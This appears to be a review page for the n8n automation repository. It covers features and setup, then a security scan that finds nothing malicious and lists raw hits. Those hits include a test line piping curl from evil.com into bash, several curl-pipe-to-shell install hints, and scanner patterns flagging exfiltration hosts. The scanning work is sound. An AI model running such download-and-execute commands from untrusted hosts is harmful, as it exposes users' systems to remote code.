7 min read

n8n: Automate Workflows and AI Agents (GitHub, Scanned)

A self-hostable workflow automation tool with 1,500 integrations, code steps and built-in AI agents.

n8n logo
✅
Scan: safe. Nothing malicious. Know that the licence limits reselling it as a hosted service, and that a self-hosted instance sends anonymous usage telemetry to n8n until you set N8N_DIAGNOSTICS_ENABLED=false. Scanned Sep 27, 2026; the full report is below.

n8n is a workflow automation platform in the Zapier mold that you can run on your own server. You build a workflow on a visual canvas: a trigger (a webhook, a schedule, a new row, an incoming email), then a chain of nodes that call other services, transform data, branch and loop. There are more than 1,500 integrations, a JavaScript and Python code node for anything they miss, and an AI layer built on LangChain that lets a workflow run an agent with tools, memory and your choice of model.

It is on this list because it has become the default way to wire language models into real business plumbing: the same canvas that moves invoices between systems can now hand a support ticket to an agent and wait for a human to approve the reply. It is large (about five million lines, mostly TypeScript, from 800-plus contributors) and moves quickly, with several releases a week. The licence is not open source in the OSI sense. n8n calls it fair-code: the Sustainable Use License lets you self-host it free for your own business, and the files marked .ee need a paid enterprise licence.

  • Repository: github.com/n8n-io/n8n
  • Licence: custom (Other)
  • Language: TypeScript. Stars: 206.1K. Forks: 60.9K. Last push: Sep 27, 2026.
  • Scan: safe, Sep 27, 2026, commit 2f2bac4

Who it is for

Operations people and small teams automating work across SaaS tools, developers who want an agent that can actually act on their systems, and anyone paying per task on Zapier or Make who has a server to spare.

Getting started

1. Run it in Docker, with a volume so your workflows survive restarts

docker volume create n8n_data && docker run -it --rm --name n8n -p 5678:5678 -v n8n_data:/home/node/.n8n docker.n8n.io/n8nio/n8n

2. Or use the one-line setup script, which writes a Docker Compose stack (needs Docker)

curl -fsSL https://get.n8n.io | sh

3. Open the editor and create the owner account

open http://localhost:5678

The get.n8n.io script is docker/get-n8n.sh from the repository, and its header shows how to download and read it first. It does not use sudo; it checks for Docker, fetches a Compose file from the n8n repository and starts the stack. If an install fails it offers to send an anonymous failure report, and only sends one if you answer yes.

Safety scan

We cloned n8n-io/n8n at commit 2f2bac4 on Sep 27, 2026 and ran the checks described on the GitHub Tools page: credential patterns, decode-and-execute code, install-time scripts, committed binaries, risky CI workflows, every host the code talks to, known vulnerabilities in pinned dependencies, and project hygiene. A person read every hit. This is what we found.

  • 117 secret-shaped strings, and none is a live credential. All but seven sit in tests and fixtures (fake Slack, GitHub, AWS and Telegram tokens, sample PEM keys). The rest are PEM placeholders in the Google, Microsoft and Salesforce credential forms that show you the expected format, an error message, the patterns a redaction module and an evaluation grader look for, and a doc page illustrating what a lint rule catches.
  • Of 32 pattern hits, seven are curl | sh lines: six are usage comments and printed hints in docker/get-n8n.sh, one a hint to install pnpm. The telegram.org and webhook.site hits are tests of secret scrubbing and URL validation, and the long lines are generated parser tables, mock data and embedded sample workflows. The bare-IP URLs are SSRF-protection tests.
  • The install hooks are the root package.json refusing npm in favor of pnpm and a prepare script for the monorepo, plus two prepack builds. The one script the scanner lists as an installer is an evaluation runner for the AI builder, not something a user runs. No committed binaries.
  • Known advisories: 96 across the 3,845 packages of the main pnpm lockfile (37 high, no critical), which covers the app along with its build and test tooling. The four criticals are in .github/scripts, the CI helpers that generate licence reports. The Python task runner that executes Python code nodes carries 36, two of them high.
  • 110 workflows, 108 of 111 third-party actions pinned to a commit. Three use pull_request_target (CLA check, required reviews, comment cleanup) and none checks out the pull request. Security policy, CodeQL and code of conduct present; no Dependabot. OpenSSF Scorecard 6.7 of 10.

What the scanner counted

CheckResult
Secrets117 candidates found and read; see the notes above.
Suspicious code32 pattern hits found and read; every one is listed under the raw findings.
Install-time code4 npm lifecycle scripts. 1 installer script
Committed binariesNone.
CI workflows110 workflows. 3 use pull_request_target, none check out the pull request head. 3 of 111 third-party actions pinned to a tag rather than a commit.
Network hosts40 distinct hosts referenced from source; most often docs.n8n.io, graph.microsoft.com, github.com, api.example.com. 5 URLs to a bare IP address, listed under the raw findings.
Known vulnerabilities152 advisories across 4,043 pinned packages: 4 critical, 46 high, 76 moderate, 26 low. .github/scripts/pnpm-lock.yaml: 304 packages, 19 advisories; packages/@n8n/ai-workflow-builder.ee/evaluations/programmatic/python/uv.lock: 16 packages, 2 advisories; packages/@n8n/task-runner-python/uv.lock: 26 packages, 36 advisories; pnpm-lock.yaml: 3,845 packages, 96 advisories.
Project hygieneHas security policy, CodeQL, licence file, contributing guide. Missing automated dependency updates.
OpenSSF Scorecard6.7 out of 10, as of Sep 21, 2026.

The raw findings

Every hit the scanner wrote out, with a link to the exact line at the scanned commit. Secrets candidates are redacted.

Secret candidates (117, redacted)
WhereRuleMatch
packages/@n8n/agents/src/runtime/__tests__/model-factory.test.ts:927private-key-----B…--- (27 chars)
packages/@n8n/agents/src/runtime/__tests__/model-factory.test.ts:937private-key-----B…--- (27 chars)
packages/@n8n/agents/src/runtime/__tests__/observation-log-observer.test.ts:344slack-tokenxoxb-1…hij (26 chars)
packages/@n8n/agents/src/runtime/__tests__/observation-log-observer.test.ts:363slack-tokenxoxb-1…hij (26 chars)
packages/@n8n/agents/src/runtime/__tests__/observation-log-observer.test.ts:760slack-tokenxoxb-1…hij (26 chars)
packages/@n8n/agents/src/runtime/__tests__/observation-log-observer.test.ts:767slack-tokenxoxb-1…hij (26 chars)
packages/@n8n/agents/src/runtime/__tests__/observation-log-reflector.test.ts:677slack-tokenxoxb-1…hij (26 chars)
packages/@n8n/agents/src/runtime/__tests__/observation-log-reflector.test.ts:687slack-tokenxoxb-1…hij (26 chars)
packages/@n8n/agents/src/runtime/__tests__/observation-log-reflector.test.ts:693slack-tokenxoxb-1…hij (26 chars)
packages/@n8n/agents/src/sdk/__tests__/guardrails.test.ts:165telegram-bot-token123456…345 (45 chars)
packages/@n8n/ai-utilities/src/__tests__/utils/redact-secrets.test.ts:40github-tokenghp_AB…890 (40 chars)
packages/@n8n/ai-utilities/src/__tests__/utils/redact-secrets.test.ts:60private-key-----B…--- (27 chars)
packages/@n8n/client-oauth2/test/config.ts:18private-key-----B…--- (27 chars)
packages/@n8n/eslint-plugin-community-nodes/docs/rules/no-hardcoded-secrets.md:44github-tokenghp_1a…q7R (40 chars)
packages/@n8n/instance-ai/evaluations/__tests__/redact.test.ts:120slack-tokenxoxb-1…jkl (28 chars)
packages/@n8n/instance-ai/evaluations/__tests__/redact.test.ts:128github-tokenghp_AB…890 (40 chars)
packages/@n8n/instance-ai/evaluations/computer-use/__tests__/graders-security.test.ts:51private-key-----B…--- (35 chars)
packages/@n8n/instance-ai/evaluations/computer-use/fixtures/leaked-credentials.txt:6aws-access-keyAKIAEV…DNN (20 chars)
packages/@n8n/instance-ai/evaluations/computer-use/fixtures/leaked-credentials.txt:10private-key-----B…--- (35 chars)
packages/@n8n/instance-ai/evaluations/computer-use/graders/security.ts:23private-key-----B…--- (35 chars)
packages/@n8n/instance-ai/src/tracing/__tests__/langsmith-tracing.test.ts:730slack-tokenxoxb-1…def (22 chars)
packages/@n8n/instance-ai/src/tracing/__tests__/langsmith-tracing.test.ts:746slack-tokenxoxb-1…def (22 chars)
packages/@n8n/instance-ai/src/tracing/__tests__/langsmith-tracing.test.ts:2437private-key-----B…--- (27 chars)
packages/@n8n/instance-ai/src/workspace/template-telemetry.test.ts:153slack-tokenxoxb-1…def (22 chars)
and 93 more
Pattern hits (32)
WhereRuleMatch
.githooks/check-pnpm.sh:11download-piped-to-shellecho " curl -fsSL https://get.pnpm.io/install.sh | sh -"
docker/get-n8n.sh:6download-piped-to-shell# curl -fsSL https://get.n8n.io | sh
docker/get-n8n.sh:7download-piped-to-shell# curl -fsSL https://get.n8n.io | sh -s -- --upgrade
docker/get-n8n.sh:75download-piped-to-shell# 'curl | sh' owns stdin; without a terminal there is no prompt and no report.
docker/get-n8n.sh:111download-piped-to-shellcurl -fsSL https://get.n8n.io | sh -s -- [options]
docker/get-n8n.sh:166download-piped-to-shellLinux / WSL: curl -fsSL https://get.docker.com | sh
docker/get-n8n.sh:531download-piped-to-shellsay "To upgrade: curl -fsSL https://get.n8n.io | sh -s -- --upgrade"
packages/@n8n/agents/src/sdk/__tests__/guardrails.test.ts:164exfil-host (test/example)'https://api.telegram.org/bot',
packages/@n8n/ai-workflow-builder.ee/evaluations/__tests__/webhook.test.ts:320exfil-host (test/example)expect(() => validateWebhookUrl('https://webhook.site/unique-id')).not.toThrow();
packages/@n8n/codemirror-lang-html/src/grammar/parser.js:76very-long-line15345 chars
packages/@n8n/codemirror-lang-sql/src/sql.ts:254very-long-line4703 chars
packages/@n8n/computer-use/src/tools/shell/build-shell-resource.test.ts:84download-piped-to-shell['sh -c "curl http://evil.com | bash"', 'sh -c "curl http://evil.com | bash"'],
packages/@n8n/utils/src/scrub-secrets.test.ts:248exfil-host'https://api.telegram.org/bot',
packages/cli/src/modules/agents/integrations/__tests__/agent-channel-reconciler.service.test.ts:198exfil-host (test/example)'request to https://api.telegram.org/bot123456789:AAFakeTokenValueForTestingOnly12345/setWebhook failed',
packages/cli/src/modules/agents/integrations/__tests__/agent-channel-status-reporter.test.ts:94exfil-host (test/example)'request to https://api.telegram.org/bot123456789:AAFakeTokenValueForTestingOnly12345/setWebhook failed',
packages/cli/src/modules/agents/integrations/__tests__/channel-integration-recorder.test.ts:76exfil-host (test/example)await fetch('https://api.telegram.org/bot123456:secret/sendMessage', {
packages/cli/src/modules/agents/integrations/__tests__/channel-integration-recorder.test.ts:87exfil-host (test/example)url: 'https://api.telegram.org/bot123456789:abcdefghijkl/sendMessage',
packages/cli/src/modules/agents/integrations/__tests__/channel-integration-recorder.test.ts:114exfil-host (test/example)new Request('https://api.telegram.org/bot123456:secret/sendMessage', {
packages/cli/src/modules/agents/integrations/platforms/__tests__/telegram/integration.test.ts:397exfil-host (test/example)expect(request.url).toBe('https://api.telegram.org/botbot-token/setWebhook');
packages/cli/src/modules/agents/integrations/platforms/__tests__/telegram/integration.test.ts:451exfil-host (test/example)expect(request.url).toBe('https://api.telegram.org/botbot-token/deleteWebhook');
packages/cli/src/modules/instance-ai/eval/__tests__/mock-handler.test.ts:748exfil-host (test/example)url: 'https://api.telegram.org/bot123/sendVoice',
packages/cli/test/integration/saml/sample-metadata.ts:3very-long-line6863 chars
packages/frontend/@n8n/design-system/src/components/N8nSettingsLayout/Examples.stories.ts:2147very-long-line4523 chars
packages/frontend/editor-ui/src/experiments/instanceAiWorkflowPreviewSuggestions/workflows/score-my-leads.ts:4very-long-line6341 chars
and 8 more
URLs to bare IP addresses (5)
WhereRuleMatch
packages/@n8n/ai-workflow-builder.ee/evaluations/__tests__/webhook.test.ts:230ip-literal-urlexpect(() => validateWebhookUrl('https://172.15.0.1/webhook')).not.toThrow();
packages/@n8n/ai-workflow-builder.ee/evaluations/__tests__/webhook.test.ts:231ip-literal-urlexpect(() => validateWebhookUrl('https://172.32.0.1/webhook')).not.toThrow();
packages/@n8n/backend-network/src/http/axios/__tests__/legacy.test.ts:170ip-literal-url['IPv4', 'https://185.90.154.8/foo'],
packages/@n8n/backend-network/src/http/axios/__tests__/utils.test.ts:822ip-literal-url['IPv4', 'https://185.90.154.8/v1'],
packages/@n8n/backend-network/src/ssrf/__tests__/ssrf-protection.service.test.ts:176ip-literal-urlconst result = await service.validateUrl('http://8.8.8.8/');
npm lifecycle scripts (4)
  • package.json preinstall: node scripts/block-npm-install.js
  • package.json prepare: node scripts/prepare.mjs
  • packages/@n8n/tournament/package.json prepack: pnpm build
  • packages/node-dev/package.json prepack: echo "Building project..." && rm -rf dist && tsc -b
Installer scripts (1)
Worst known vulnerabilities (24 of 152)
AdvisorySeverityPackageSummary
GHSA-2943-5xfg-gq5fcriticaljsonata@2.1.0JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions
GHSA-66mm-25pp-rfffcriticaljsonata@2.1.0JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions
GHSA-8gq3-vp5j-2grpcriticaljsonata@2.1.0JSONata: Arbitrary Code Execution via crafted JSONata expressions
GHSA-23hp-3jrh-7fpwcriticaltar@7.5.15node-tar: Decompression/parse DoS via unlimited input
GHSA-5jgf-p345-68v8highfast-uri@3.1.5fast-uri vulnerable to host confusion via skipped IDN canonicalization on scheme-relative references
GHSA-f65p-4m7j-42xchighfast-uri@3.1.5fast-uri vulnerable to server-side request forgery via malformed IPv6 normalization
GHSA-fph4-wmhf-6fwfhighfast-uri@3.1.5fast-uri vulnerable to server-side request forgery via repeated hostname percent-decoding
GHSA-jqff-g426-hqxphighfast-uri@3.1.5fast-uri vulnerable to host confusion via percent-encoded scheme normalization
GHSA-86vw-mfpg-wwv9highjsonata@2.1.0jsonata: Malicious inputs to "$toMillis" function can cause resource exhaustion
GHSA-8x88-c5mf-7j5whightar@7.5.15node-tar: Negative tar entry size causes infinite loop in archive replace
GHSA-r292-9mhp-454mhightar@7.5.15node-tar: Uncontrolled recursion in mapHas/filesFilter allows uncatchable stack-overflow DoS via crafted long-path tar w…
GHSA-6mq8-rvhq-8wgghighaiohttp@3.12.15AIOHTTP's HTTP Parser auto_decompress feature is vulnerable to zip bomb
GHSA-cq5v-8q36-5273highaiohttp@3.12.15AIOHTTP: Out-of-bounds heap read in C HTTP response parser error path (malformed chunked response)
GHSA-fv7c-fp4j-7gwphigh@babel/plugin-transform-modules-systemjs@7.29.0@babel/plugin-transform-modules-systemjs generates arbitrary code when compiling malicious input
GHSA-qxc2-j82w-r537high@faker-js/faker@8.4.1Faker: helpers.fake exploitable into arbritary code execution
GHSA-j95f-988m-3j2fhigh@tiptap/core@3.27.0Tiptap: Quadratic ReDoS in block and inline Markdown attribute parsing
GHSA-27p8-2357-5qqvhigh@xmldom/xmldom@0.8.14xmldom: DocType `name` Injection Bypasses requireWellFormed
GHSA-8344-3jmq-59r6high@xmldom/xmldom@0.8.14xmldom: Quadratic-time attribute deduplication
GHSA-93r5-fhx6-vmg9high@xmldom/xmldom@0.8.14xmldom: Quadratic-time parsing via the malformed-input recovery path - `parseElementStartPart` re-scan and `normalize()`…
GHSA-965w-775f-mr7ghigh@xmldom/xmldom@0.8.14xmldom: Quadratic-memory consumption
GHSA-c7q8-3ch8-vqpvhigh@xmldom/xmldom@0.8.14xmldom: Processing Instruction Target Injection Bypasses requireWellFormed
GHSA-x4fp-j954-r2f4high@xmldom/xmldom@0.8.14xmldom: End-tag Whitespace-Trim Regex ReDoS - quadratic backtracking in the 0.8.x end-tag parser
GHSA-7q85-xj36-vmfchighadm-zip@0.6.0adm-zip: Uncontrolled memory allocation via the declared uncompressed size (DoS)
GHSA-7g7r-gx96-252ghighapp-builder-lib@26.9.0electron-updater: Uncontrolled search path elements within `AppImage` built by `app-builder-lib`
Workflows worth a look

By the numbers

Stars206.1K
Forks60.9K
Contributors806
Commits24.9K
Open issues357
Open pull requests750
Releases825
Latest releasen8n@2.40.7
Licencecustom
Main languageTypeScript
Project age7 years
Last pushSep 27, 2026
Tracked files29,617
Lines of code5.2M
Checkout size205 MB

Lines by language: TypeScript 4.2M, JSON 496K, Vue 313.9K, Markdown 110.9K, JavaScript 46.9K, YAML 38K.

Questions

Is n8n free?

Self-hosting is free for internal use, including inside a company, under the Sustainable Use License. You may not sell n8n itself as a hosted service or white-label it without a commercial agreement, and features in files marked .ee (such as SSO and some admin tools) need a paid enterprise licence. n8n Cloud is the paid hosted version. It is fair-code, not OSI open source.

How does n8n compare with Zapier?

Both connect apps with triggers and actions. n8n adds branching, loops, code steps and agent nodes on one canvas, and you can host it yourself, so there is no per-task fee and data stays on your server. Zapier has more ready-made integrations and needs no server. For heavy or sensitive automations n8n is usually cheaper; for a few simple ones Zapier is quicker.

Can n8n use local AI models?

Yes. The AI nodes accept Ollama and any OpenAI-compatible endpoint alongside hosted providers, so an agent workflow can run entirely on your own hardware. Embeddings and vector stores for retrieval can be local too, for example Ollama embeddings with Qdrant or Postgres with pgvector.


This post is part of GitHub Tools, where every repository is cloned and scanned before it is written up. The scan is a snapshot of one commit on one day; the repository has moved on since, so check it before you install.